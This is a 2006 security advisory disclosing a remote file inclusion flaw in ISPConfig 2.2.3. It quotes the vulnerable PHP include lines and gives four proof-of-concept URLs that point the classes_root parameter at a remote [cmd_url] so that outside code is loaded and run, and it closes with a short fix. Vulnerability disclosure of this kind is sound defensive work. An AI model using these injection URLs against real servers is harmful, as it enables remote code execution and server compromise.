----------------------------------------------------- Advisory id: FSA:016 Author: Federico Fazzi Date: 14/06/2006, 18:57 Sinthesis: ISPConfig 2.2.3, File inclusion vulnerability Type: high Product: http://www.ispconfig.org/ Patch: unavailable ----------------------------------------------------- 1) Description: Error occured in server.inc.php, line 35: include_once($go_info["isp"]["classes_root"] . $go_info["server"]["dir_trenner"] ."ispconfig_template.lib.php"); Error occured in app.inc.php, line 48 - 49: $dbclass = $go_info["server"]["classes_root"] . $go_info["server"]["dir_trenner"] ."ispconfig_db_".$go_info["server"]["db_type"].".lib.php"; include_once($dbclass); Error occured in login.php, line 30 - 31: $dbclass = $go_info["server"]["classes_root"] . $go_info["server"]["dir_trenner"] ."ispconfig_db_".$go_info["server"]["db_type"].".lib.php"; include_once($dbclass); Error occured in trylogin.php, line 32 - 33: $dbclass = $go_info["server"]["classes_root"] . $go_info["server"]["dir_trenner"] ."ispconfig_db_".$go_info["server"]["db_type"].".lib.php"; include_once($dbclass); 2) Proof of concept: http://example/[ic_path]/install_ispconfig/scripts/lib/server.inc.php?go _info[isp][classes_root]=[cmd_url]/ http://example/[ic_path]/install_ispconfig/ispconfig/lib/app.inc.php?go_ info[server][classes_root]=[cmd_url]/ http://example/[ic_path]/install_ispconfig/ispconfig/web/login/login.php ?go_info[server][classes_root]=[cmd_url]/ http://example/[ic_path]/install_ispconfig/ispconfig/web/login/trylogin. php?go_info[server][classes_root]=[cmd_url]/ (note this is with final slash (/)) 3) Solution: declare all variables or global.